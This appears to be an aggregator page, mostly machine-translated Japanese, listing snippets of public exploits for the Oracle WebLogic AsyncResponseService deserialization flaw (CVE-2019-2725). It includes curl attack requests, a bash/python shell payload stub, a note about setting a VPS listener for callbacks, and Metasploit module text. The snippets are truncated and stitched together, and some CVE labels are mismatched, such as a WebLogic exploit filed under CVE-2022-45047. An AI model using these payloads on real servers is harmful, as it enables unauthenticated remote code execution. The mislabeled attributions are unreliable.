CNVD-C-2019-48814-CNNVD-201904-961

CNVD-C-2019-48814和CNNVD-201904-961 t00ls-ximcx0101氏によるスクリプト提供に感謝します。 CNVD-C-2019-48814 POC Summary 関連リンクは以下の通りです: 清水川崎氏の簡書: https://www.jianshu.com/p/c4982a845f55 安全祖师爺転載: https://dwz.cn/2GQvbUae 環境によってパスが変わる場合があります: デフォルトのアップロードパス:...

CNVD-C-2019-48814

CNVD-C-2019-48814 WebLogic wls9-async 逆シリアル化リモートコード実行の脆弱性 weblogic 用のエコー PoC Patch update: root@kitploit: https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html 脆弱性の再現： root@kitploit: http://10.10.20.166:7001/async/AsyncResponseService root@kitploit: curl -i...

CVE-2022-45047

CVE-2022-45047 POC、EXP、私のためのchatGPT コード root@kitploit: import requests targeturl = "http://127.0.0.1:7001" CVE-2022-45047 def exploitweblogic: headers = "Content-Type": "text/xml", "User-Agent": "Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:93.0 Gecko/20100101 Firefox/93.0", "Accept-Encoding":...

Oracle-Weblogic-Server-AsyncResponseService-Deserialization-Remote-Code-Execution-CVE-2019-2725

CVE-2019-2725 – Oracle WebLogic の未認証リモートコード実行 Oracle Fusion Middleware の Oracle WebLogic Server コンポーネント（サブコンポーネント: Web Services）における脆弱性。影響を受けるサポート対象バージョンは 10.3.6.0.0 および 12.1.3.0.0 です。容易に悪用可能なこの脆弱性により、認証されていない攻撃者が HTTP 経由でネットワークアクセスを持つ場合、Oracle WebLogic Server を侵害することが可能です。 脆弱性概要 | CVE ID: |...

Exploit-CVE-2019-2725

エクスプロイト-CVE-2019-2725 CVE-2019-2725 のシンプルなエクスプロイト。 サンプルコード: root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

CVE-2019-2725

POC-EXP このスクリプトはCVE-2019-2725 Weblogic 逆シリアル化RCE脆弱性を対象としています。使用前にVPSリスニングアドレスを変更し、実行時に特定のURLを送信することでテストを完了できます。 テストアドレス: http://192.168.209.134:49163/async/AsyncResponseService ペイロードパラメータのリスニングアドレスとポートを変更した後: python CVE-2019-2725.py 実行後にhttp://ip:ポート番号/async/AsyncResponseServiceを入力...

Oracle Weblogic Server - 'AsyncResponseService' Deserialization Remote Code Execution (Metasploit)

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ', 'Description' = %q An unauthenticated attacker with network access to the...

Oracle Weblogic Server Deserialization RCE - AsyncResponseService

An unauthenticated attacker with network access to the Oracle Weblogic Server T3 interface can send a malicious SOAP request to the interface WLS AsyncResponseService to execute code on the vulnerable host. Module Options msf use exploit/multi/misc/weblogic/deserializeasyncresponseservice msf...

CVE-2017-10271 - Oracle WebLogic Server AsyncResponseService Deserialization Vulnerability

Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware subcomponent: WLS Security. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to...